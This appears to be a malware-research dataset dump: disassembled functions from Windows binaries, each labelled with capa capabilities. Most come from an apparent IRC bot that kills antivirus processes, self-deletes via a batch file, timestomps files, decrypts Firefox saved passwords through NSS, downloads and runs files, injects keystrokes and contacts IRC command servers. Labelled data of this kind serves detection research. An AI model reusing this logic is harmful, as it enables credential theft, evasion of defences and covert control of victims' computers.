joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10057f90
Capabilities:
Get memory capacity

Disassembly:
add esp, 0xffffffe0
mov dword [esp], 0x20
push esp
call sub.KERNEL32.DLL_GlobalMemoryStatus
cmp dword [esp + 8], 0x4000000
setb al
add esp, 0x20
ret

Function at 0x10057fb0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
mov ebx, edx
xor edx, edx
mov dword [ebp - 4], edx
test ebx, ebx
je 0x100580cb
push 0
push 0x80
push 3
push 0
push 2
push 0x40000000
push eax
call sub.KERNEL32.DLL_CreateFileA
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x100580cb
xor eax, eax
push ebp
push 0x100580c4
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x100000
push 0
call sub.KERNEL32.DLL_GlobalAlloc
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov cl, 0x99
mov edx, 0x100000
call fcn.10003054
xor eax, eax
push ebp
push 0x100580a6
push dword fs:[eax]
mov dword fs:[eax], esp
cmp ebx, dword [ebp - 4]
jbe 0x1005808f
push 2
push 0
push 0
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.DLL_SetFilePointer
mov esi, ebx
sub esi, dword [ebp - 4]
cmp esi, 0x100000
jae 0x10058061
push 0
lea eax, [ebp - 0xc]
push eax
push esi
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.DLL_WriteFile_1
test eax, eax
je 0x1005808f
jmp 0x1005807d
push 0
lea eax, [ebp - 0xc]
push eax
push 0x100000
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.DLL_WriteFile_1
test eax, eax
je 0x1005808f
mov eax, dword [ebp - 0xc]
add dword [ebp - 4], eax
push 1
call sub.KERNEL32.DLL_Sleep_1
cmp ebx, dword [ebp - 4]
ja 0x1005802b
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x100580ad
mov eax, dword [ebp - 0x10]
push eax
call sub.KERNEL32.DLL_GlobalFree
ret
mov eax, dword [ebp - 4]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10058410
Capabilities:
Create thread

Disassembly:
mov eax, dword [0x1005c45c]
cmp dword [eax], 0
je 0x10058454
mov eax, dword [0x1005c5e0]
cmp dword [eax], 0
je 0x1005843c
mov eax, dword [0x1005c4f8]
push eax
push 0
push 0
push 0x100581c4
push 0
push 0
call sub.KERNEL32.DLL_CreateThread_1
mov eax, dword [0x1005c4f8]
push eax
push 0
push 0
push 0x10058210
push 0
push 0
call sub.KERNEL32.DLL_CreateThread_1
call fcn.1004f7cc
call fcn.1004b7d0
call fcn.1004e78c
call fcn.1004bf08
mov dl, 1
mov eax, dword [0x10052848]
call fcn.10052c2c
ret
Function at 0x432003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..reloc
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x432072
nop
nop
nop
nop
mov ebx, 0x40c7d0
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x59ca3f38
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x432060
nop
nop
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
je 0x4320d2
nop
nop
nop
mov ebx, 0x42f314
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x70ad1045
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x4320c0
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x40100a
Capabilities:
Read file via mapping

Disassembly:
jmp 0x409d09
push ebx
push ebp
push esi
xor ebp, ebp
mov esi, str.mIRC
push ebp
push esi
call dword [0x424d14]
mov ebx, eax
test ebx, ebx
je 0x409d85
push edi
push esi
push 0x1000
push ebp
push 4
push ebp
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push ebp
push ebp
push ebp
mov edi, eax
push 0xf001f
push edi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push dword [esp + 0x14]
mov esi, eax
push esi
call fcn.004013c0
pop ecx
pop ecx
push ebp
push 1
push 0x4c8
push ebx
call dword [0x424d10]
push ebp
push 1
push 0x4c9
push ebx
call dword [0x424d10]
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
inc eax
pop edi
jmp 0x409d87
xor eax, eax
pop esi
pop ebp
pop ebx
ret

Function at 0x40100f
Capabilities:
Read file on windows

Disassembly:
jmp 0x4070df
mov ecx, dword [0x423f0c]
cmp ecx, dword [0x421704]
jl 0x407121
push dword [0x4212d0]
and dword [0x423f0c], 0
push 0x2800
push 1
push 0x421708
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x10
mov dword [0x421704], eax
test eax, eax
jg 0x40711b
xor al, al
ret
mov ecx, dword [0x423f0c]
mov al, byte [ecx + 0x421708]
inc ecx
mov dword [0x423f0c], ecx
ret

Function at 0x40105a
Capabilities:
Encode data using xor

Disassembly:
jmp 0x40624a
mov eax, dword [esp + 4]
xor edx, edx
cmp dword [esp + 8], edx
jle 0x406266
mov cl, byte [0x4208ea]
xor byte [edx + eax], cl
inc edx
cmp edx, dword [esp + 8]
jl 0x406256
ret

Function at 0x401069
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
jmp 0x4059a2
mov edx, dword [esp + 8]
or ecx, 0xffffffff
push esi
mov esi, dword [esp + 8]
test edx, edx
je 0x4059ca
movsx eax, byte [esi]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x4164d0]
inc esi
sub edx, 1
jne 0x4059b2
not ecx
mov eax, ecx
pop esi
ret
Function at 0x4010d2
Capabilities:
Timestomp file

Disassembly:
jmp 0x4098db
sub esp, 0x120
mov eax, dword [0x420fec]
xor eax, esp
mov dword [esp + 0x11c], eax
push ebx
push ebp
mov ebp, dword [esp + 0x12c]
lea eax, [esp + 0x20]
xor ebx, ebx
push ebx
push eax
push 0x104
push ebx
push str.explorer.exe
push ebx
call dword [0x424d00]
test eax, eax
je 0x409992
push esi
push ebx
push 0x80
push 3
push ebx
push 1
push SysReAllocString
lea eax, [esp + 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x409991
lea eax, [esp + 0xc]
push eax
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x24]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call ebx
push 0
push 0x80
push 3
push 0
push 2
push 0x40000000
push ebp
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x409991
lea eax, [esp + 0xc]
push eax
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x24]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call ebx
pop esi
mov ecx, dword [esp + 0x124]
pop ebp
pop ebx
xor ecx, esp
call fcn.004013b1
add esp, 0x120
ret

Function at 0x40114a
Capabilities:
Terminate process

Disassembly:
jmp 0x40b485
push esi
push edi
push dword [esp + 0xc]
xor edi, edi
push 0
push 0x1f0fff
inc edi
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x40b4b7
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x40b4b7
push esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
ret

Function at 0x4011b3
Capabilities:
Parse pe header

Disassembly:
jmp 0x410150
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ecx, eax
test ecx, ecx
jne 0x410161
xor al, al
ret
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x41015e
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x41015e
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x41015e
cmp dword [eax + 0x74], 0xe
jbe 0x41015e
cmp dword [eax + 0xe8], 0
setne al
ret

Function at 0x4011e0
Capabilities:
Read file on windows

Disassembly:
jmp 0x4059db
push ebx
push esi
push edi
xor esi, esi
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov dword [esp], 0x41699c
mov ebx, eax
push dword [esp + 0x14]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov edi, eax
pop ecx
pop ecx
test edi, edi
jne 0x405a06
xor eax, eax
jmp 0x405a5f
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_feof]
pop ecx
jmp 0x405a3c
inc esi
push esi
push ebx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
mov ebx, eax
pop ecx
pop ecx
test ebx, ebx
je 0x405a02
push edi
push 1
lea eax, [esi - 1]
add eax, ebx
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_feof]
add esp, 0x14
test eax, eax
je 0x405a10
lea eax, [esi - 1]
push eax
push ebx
call fcn.00401069
push ebx
mov esi, eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 0x10
mov eax, esi
pop edi
pop esi
pop ebx
ret
Function at 0x4011ea
Capabilities:
Terminate thread

Disassembly:
jmp 0x40e043
mov ecx, dword [esp + 4]
push ebx
xor ebx, ebx
push edi
lea eax, [ecx - 1]
mov edi, ebx
cmp eax, 0x1f2
ja 0x40e0d1
push esi
imul esi, ecx, 0x234
push ebx
push dword [esi + 0x4254cc]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
xor eax, eax
mov dword [esi + 0x4254b8], ebx
inc eax
mov dword [esi + 0x4254bc], ebx
cmp dword [esi + 0x4254cc], ebx
mov dword [esi + 0x4254cc], ebx
cmovne edi, eax
mov eax, dword [esi + 0x4254c0]
test eax, eax
je 0x40e09a
push eax
call fcn.0040114a
pop ecx
mov dword [esi + 0x4254c0], ebx
mov byte [esi + 0x4252b8], bl
mov byte [esi + 0x4254d0], bl
push dword [esi + 0x4254c4]
call dword [0x424e58]
push dword [esi + 0x4254c8]
mov dword [esi + 0x4254c4], ebx
call dword [0x424e58]
mov dword [esi + 0x4254c8], ebx
pop esi
mov eax, edi
pop edi
pop ebx
ret

Function at 0x4011f9
Capabilities:
Link many functions at runtime

Disassembly:
jmp 0x406ce1
and dword [0x4216fc], 0
and dword [0x4216f8], 0
push ebx
push esi
mov esi, dword [esp + 0xc]
mov ebx, str.nss3.dll
push edi
mov edi, str.plc4.dll
test esi, esi
je 0x406d62
push str.nspr4.dll
push esi
call fcn.004014ab
pop ecx
pop ecx
test eax, eax
je 0x406d59
push edi
push esi
call fcn.004014ab
mov dword [0x4216fc], eax
pop ecx
pop ecx
test eax, eax
je 0x406d59
push str.plds4.dll
push esi
call fcn.004014ab
pop ecx
pop ecx
test eax, eax
je 0x406d59
push str.softokn3.dll
push esi
call fcn.004014ab
pop ecx
pop ecx
test eax, eax
je 0x406d59
push ebx
push esi
call fcn.004014ab
pop ecx
pop ecx
mov dword [0x4216f8], eax
jmp 0x406d5e
mov eax, dword [0x4216f8]
test eax, eax
jne 0x406d95
push ebx
push esi
call fcn.004014ab
push edi
push esi
mov dword [0x4216f8], eax
call fcn.004014ab
mov ecx, eax
add esp, 0x10
mov eax, dword [0x4216f8]
mov dword [0x4216fc], ecx
test eax, eax
je 0x406e6e
test ecx, ecx
je 0x406e6e
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.NSS_Init
push eax
call esi
push str.NSS_Shutdown
push dword [0x4216f8]
mov dword [0x4212d4], eax
call esi
push str.PK11_GetInternalKeySlot
push dword [0x4216f8]
mov dword [0x4212d8], eax
call esi
push str.PK11_FreeSlot
push dword [0x4216f8]
mov dword [0x4212dc], eax
call esi
push str.PK11_Authenticate
push dword [0x4216f8]
mov dword [0x4212e4], eax
call esi
push str.PK11SDR_Decrypt
push dword [0x4216f8]
mov dword [0x4212e8], eax
call esi
push str.PK11_CheckUserPassword
push dword [0x4216f8]
mov dword [0x4212ec], eax
call esi
cmp dword [0x4212d4], 0
mov dword [0x4212e0], eax
je 0x406e69
cmp dword [0x4212d8], 0
je 0x406e69
cmp dword [0x4212dc], 0
je 0x406e69
cmp dword [0x4212e8], 0
je 0x406e69
cmp dword [0x4212ec], 0
je 0x406e69
cmp dword [0x4212e4], 0
je 0x406e69
test eax, eax
je 0x406e69
push str.PL_Base64Decode
push dword [0x4216fc]
call esi
mov dword [0x4212f0], eax
test eax, eax
je 0x406e69
xor eax, eax
inc eax
jmp 0x406e70
call fcn.0040147e
xor eax, eax
pop edi
pop esi
pop ebx
ret
Function at 0x401285
Capabilities:
Check if file exists
Create process on windows
Get common file path
Get file attributes
Query environment variable
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
jmp 0x40a07c
push ebp
lea ebp, [esp - 0x6e8]
sub esp, 0x768
mov eax, dword [0x420fec]
xor eax, ebp
mov dword [ebp + 0x6e4], eax
push esi
push edi
xor edi, edi
cmp dword [0x420904], edi
je 0x40a0b2
cmp dword [0x424f28], edi
jne 0x40a0b2
push edi
call fcn.004010c3
pop ecx
lea eax, [ebp - 0x28]
push eax
push 0x400
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp + 0x4dc]
push str._sdel.bat
push eax
call fcn.004013c0
add esp, 0xc
lea eax, [ebp + 0x4dc]
push edi
push edi
push 2
push edi
push edi
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
test esi, esi
je 0x40a1fa
push ebx
lea eax, [ebp + 0x4dc]
push eax
lea eax, [ebp - 0x28]
push str._echo_off_r_n:repeat_r_ndel____1__r_nif_exist____1__goto_repeat_r_ndel___s_
push eax
call fcn.004013c0
add esp, 0xc
lea eax, [ebp - 0x2c]
push edi
push eax
lea eax, [ebp - 0x28]
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x10
lea eax, [ebp - 0x3c]
push edi
push eax
call sub.VCRUNTIME140.dll_memset
push 0x44
pop esi
push esi
lea eax, [ebp - 0x80]
push edi
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0x18
mov dword [ebp - 0x80], esi
xor eax, eax
mov dword [ebp - 0x74], 0x4146c9
mov word [ebp - 0x50], ax
mov ebx, 0x104
lea eax, [ebp + 0x5e0]
xor esi, esi
push ebx
push eax
inc esi
push edi
mov dword [ebp - 0x54], esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp + 0x5e0]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x40a1a8
push 0x80
lea eax, [ebp + 0x5e0]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp + 0x5e0]
push eax
lea eax, [ebp + 0x4dc]
push eax
lea eax, [ebp - 0x28]
push str.__comspec____c__s__s
push eax
call fcn.004013c0
add esp, 0x10
lea eax, [ebp + 0x3d8]
push ebx
push eax
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x80]
push eax
push edi
push edi
push 0x4008
push esi
push edi
push edi
lea eax, [ebp + 0x3d8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop ebx
mov ecx, dword [ebp + 0x6e4]
pop edi
xor ecx, ebp
pop esi
call fcn.004013b1
lea esp, [ebp + 0x6e8]
pop ebp
ret
Function at 0x401348
Capabilities:
Terminate process

Disassembly:
jmp 0x40f737
push 0x14
push 0x41c820
call fcn.0040132f
push 1
call fcn.004013cf
pop ecx
test al, al
jne 0x40f547
push 7
call fcn.0040109b
xor bl, bl
mov byte [ebp - 0x19], bl
and dword [ebp - 4], 0
call fcn.00401479
mov byte [ebp - 0x24], al
mov eax, dword [0x47a214]
xor ecx, ecx
inc ecx
cmp eax, ecx
je 0x40f540
test eax, eax
jne 0x40f5b1
mov dword [0x47a214], ecx
push 0x413618
push 0x41330c
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm_e
pop ecx
pop ecx
test eax, eax
je 0x40f594
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x40f698
push 0x413208
push section..rdata
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
pop ecx
pop ecx
mov dword [0x47a214], 2
jmp 0x40f5b6
mov bl, cl
mov byte [ebp - 0x19], bl
push dword [ebp - 0x24]
call fcn.0040146f
pop ecx
call fcn.004013b6
mov esi, eax
xor edi, edi
cmp dword [esi], edi
je 0x40f5e6
push esi
call fcn.004014e7
pop ecx
test al, al
je 0x40f5e6
push edi
push 2
push edi
mov esi, dword [esi]
mov ecx, esi
call fcn.00401429
call esi
call fcn.00401145
mov esi, eax
cmp dword [esi], edi
je 0x40f604
push esi
call fcn.004014e7
pop ecx
test al, al
je 0x40f604
push dword [esi]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__register_thread_local_exe_atexit_callback
pop ecx
push edi
call sub.VCRUNTIME140.dll___telemetry_main_invoke_trigger
pop ecx
call fcn.004013d9
movzx eax, ax
push eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__get_narrow_winmain_command_line
push eax
push edi
push 0x400000
call fcn.0040115e
mov esi, eax
push edi
call sub.VCRUNTIME140.dll___telemetry_main_return_trigger
pop ecx
call fcn.004011b3
test al, al
jne 0x40f63d
push esi
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
test bl, bl
jne 0x40f646
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
push edi
push 1
call fcn.0040122b
pop ecx
pop ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
jmp 0x40f698
call fcn.0040130c
ret
call fcn.004012fd
jmp 0x40f528
Function at 0x401357
Capabilities:
Acquire debug privileges
Terminate process

Disassembly:
jmp 0x40b4c9
push ebp
lea ebp, [esp - 0x4d8]
sub esp, 0x558
mov eax, dword [0x420fec]
xor eax, ebp
mov dword [ebp + 0x4d4], eax
mov eax, dword [ebp + 0x4ec]
push ebx
push esi
push edi
mov edi, dword [ebp + 0x4e4]
mov ebx, 0x128
push ebx
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x78]
push 0
push eax
mov dword [ebp - 0x7c], edi
call sub.VCRUNTIME140.dll_memset
push 0x224
lea eax, [ebp + 0xb0]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0x18
cmp dword [0x424ce4], 0
je 0x40b583
cmp dword [0x424ce8], 0
je 0x40b583
cmp dword [0x424cec], 0
je 0x40b583
push 1
push str.SeDebugPrivilege
call fcn.00401325
pop ecx
pop ecx
push 0
push 0xf
call dword [0x424ce4]
mov esi, eax
cmp esi, 0xffffffff
je 0x40b575
lea eax, [ebp - 0x78]
mov dword [ebp - 0x78], ebx
push eax
push esi
call dword [0x424ce8]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x40b5ca
push esi
call ebx
push 0
push str.SeDebugPrivilege
call fcn.00401325
pop ecx
pop ecx
xor eax, eax
mov ecx, dword [ebp + 0x4d4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004013b1
lea esp, [ebp + 0x4d8]
pop ebp
ret
cmp dword [ebp + 0x4f0], 0
je 0x40b603
xor edi, edi
push dword [edi + 0x41f6b0]
lea eax, [ebp - 0x54]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x40b5db
add edi, 4
cmp edi, 0x9c4
jb 0x40b5a8
mov edi, dword [ebp - 0x7c]
lea eax, [ebp - 0x78]
push eax
push esi
call dword [0x424cec]
test eax, eax
jne 0x40b59d
jmp 0x40b572
push dword [ebp - 0x70]
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x40b5c7
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x40b5c7
push edi
call ebx
jmp 0x40b5c7
mov eax, dword [ebp - 0x80]
test eax, eax
jne 0x40b68f
test edi, edi
je 0x40b5ca
push dword [ebp - 0x70]
push 8
call dword [0x424ce4]
cmp dword [ebp + 0x4f4], 0
mov edi, eax
mov dword [ebp + 0xb0], 0x224
je 0x40b64f
lea eax, [ebp + 0xb0]
push eax
push edi
call dword [0x424cf0]
push dword [ebp - 0x70]
test eax, eax
je 0x40b652
lea eax, [ebp + 0x1d0]
jmp 0x40b655
push dword [ebp - 0x70]
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp + 0x2d4]
push str.__s___d_
push eax
call fcn.004013c0
add esp, 0x10
lea eax, [ebp + 0x2d4]
push 1
push dword [ebp + 0x4e8]
push eax
push dword [ebp - 0x7c]
push dword [ebp + 0x4e0]
call fcn.004013e8
add esp, 0x14
jmp 0x40b5fe
push eax
lea eax, [ebp - 0x54]
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
jne 0x40b5ca
push dword [ebp - 0x70]
push eax
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push esi
mov edi, eax
call ebx
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x40b6cc
push edi
call ebx
jmp 0x40b583
xor eax, eax
inc eax
jmp 0x40b585
Function at 0x40140b
Capabilities:
Download url
Receive data

Disassembly:
jmp 0x40534b
push esi
call fcn.004010af
mov esi, eax
test esi, esi
jne 0x40535a
inc eax
pop esi
ret
push ebx
xor ebx, ebx
push ebx
push ebx
push dword [esp + 0x18]
push dword [esp + 0x18]
push ebx
call sub.urlmon.dll_URLDownloadToFileA
test eax, eax
je 0x405375
push 2
jmp 0x4053bd
push 1
push ebx
push ebx
push dword [esp + 0x1c]
push str.open
push ebx
call dword [0x424eec]
cmp eax, 0x20
jg 0x405392
push 3
jmp 0x4053bd
push 5
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_BringWindowToTop]
push esi
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push esi
call dword [sym.imp.USER32.dll_SetFocus]
push esi
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x4053c0
push 4
pop eax
jmp 0x4053f0
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x14]
cmp byte [eax], bl
je 0x4053da
push eax
call fcn.00401410
pop ecx
push ebx
push ebx
push ebx
push 0xd
call dword [sym.imp.USER32.dll_keybd_event]
push 6
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
pop ebx
pop esi
ret

Function at 0x401410
Capabilities:
Log keystrokes via polling

Disassembly:
jmp 0x40541d
push ecx
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push esi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov edi, eax
xor bl, bl
pop ecx
test edi, edi
jle 0x405487
push ebp
mov ebp, dword [sym.imp.USER32.dll_keybd_event]
movzx eax, byte [esi]
push eax
call dword [sym.imp.USER32.dll_VkKeyScanA]
movzx eax, ax
mov dword [esp + 0x10], eax
test eax, 0x100
je 0x405465
xor eax, eax
push eax
push eax
push eax
push 0xa0
call ebp
mov eax, dword [esp + 0x10]
mov bl, 1
xor ecx, ecx
push ecx
push ecx
push ecx
push eax
call ebp
test bl, bl
je 0x405480
push 0
push 2
push 0
push 0xa0
call ebp
xor bl, bl
inc esi
sub edi, 1
jne 0x40543b
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x401460
Capabilities:
Create thread

Disassembly:
jmp 0x40dae2
sub esp, 0x21c
mov eax, dword [0x420fec]
xor eax, esp
mov dword [esp + 0x218], eax
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
push edi
xor edi, edi
mov dword [esp + 0x10], edi
mov ebp, edi
call esi
xor edx, edx
mov ecx, 0x3e8
div ecx
mov dword [0x46ba14], eax
call esi
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
pop ecx
lea eax, [esp + 0x18]
push eax
push 0x202
call dword [0x424ddc]
mov ebx, eax
test ebx, ebx
jne 0x40dd6d
mov eax, dword [esp + 0x18]
cmp al, 2
jne 0x40dd67
shr eax, 8
cmp al, 2
jne 0x40dd67
lea eax, [esp + 0x1a8]
push str._PROCS_:_AV_FW_Killer_active.
push eax
call fcn.004013c0
push edi
lea eax, [esp + 0x1b4]
push 2
push eax
call fcn.00401235
add esp, 0x14
mov esi, eax
lea eax, [esp + 0x10]
push eax
push edi
push esi
push 0x40123f
push edi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
call edi
imul ecx, esi, 0x234
mov dword [ecx + 0x4254cc], eax
test eax, eax
jne 0x40dbb4
lea eax, [esp + 0x1a8]
push str._SECURE_:_Registry_monitor_active.
push eax
call fcn.004013c0
pop ecx
pop ecx
push 0
lea eax, [esp + 0x1ac]
push 2
push eax
call fcn.00401235
add esp, 0xc
mov esi, eax
lea eax, [esp + 0x10]
push eax
xor eax, eax
push eax
push esi
push 0x4013f2
push eax
push eax
call edi
imul ecx, esi, 0x234
mov dword [ecx + 0x4254cc], eax
test eax, eax
jne 0x40dbff
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
idiv dword [0x420e3c]
mov dword [0x479bac], edx
push str.irc.example.com
push 0x100
push 0x479bb4
call fcn.00401208
mov ax, word [0x4208e8]
mov esi, 0x80
push 0x420950
push esi
push 0x479cb4
mov word [0x479dd0], ax
call fcn.00401208
push 0x4252b5
push esi
push 0x479d34
call fcn.00401208
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x24
and dword [0x479dd4], ebp
xor esi, esi
cmp dword [0x424f40], 0
jne 0x40dc76
push 0
lea eax, [esp + 0x18]
push eax
call dword [0x424e5c]
test eax, eax
jne 0x40dc76
push 0x7530
jmp 0x40dca1
and dword [0x479ba8], 0
push 0x479bb0
call fcn.004011cc
mov ebx, eax
cmp ebx, 2
je 0x40dd62
cmp dword [0x479ba8], 0
je 0x40dc9c
dec esi
push 0xbb8
call edi
inc esi
cmp esi, 6
jl 0x40dc55
cmp ebx, 2
je 0x40dd62
test ebp, ebp
je 0x40dd05
push str.irc.example.com
push 0x100
push 0x479bb4
call fcn.00401208
mov ax, word [0x4208e8]
mov ebp, 0x80
push 0x420950
push ebp
push 0x479cb4
mov word [0x479dd0], ax
call fcn.00401208
push 0x4252b5
push ebp
push 0x479d34
call fcn.00401208
add esp, 0x24
xor ebp, ebp
jmp 0x40dc53
cmp byte [str.irc2.example.com], 0
je 0x40dc53
push str.irc2.example.com
push 0x100
push 0x479bb4
call fcn.00401208
mov ax, word [0x4208ec]
mov ebp, 0x80
push 0x42096c
push ebp
push 0x479cb4
mov word [0x479dd0], ax
call fcn.00401208
push 0x4252b6
push ebp
push 0x479d34
call fcn.00401208
xor ebp, ebp
add esp, 0x24
inc ebp
jmp 0x40dc53
call fcn.00401140
call dword [0x424df4]
mov ecx, dword [esp + 0x228]
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004013b1
add esp, 0x21c
ret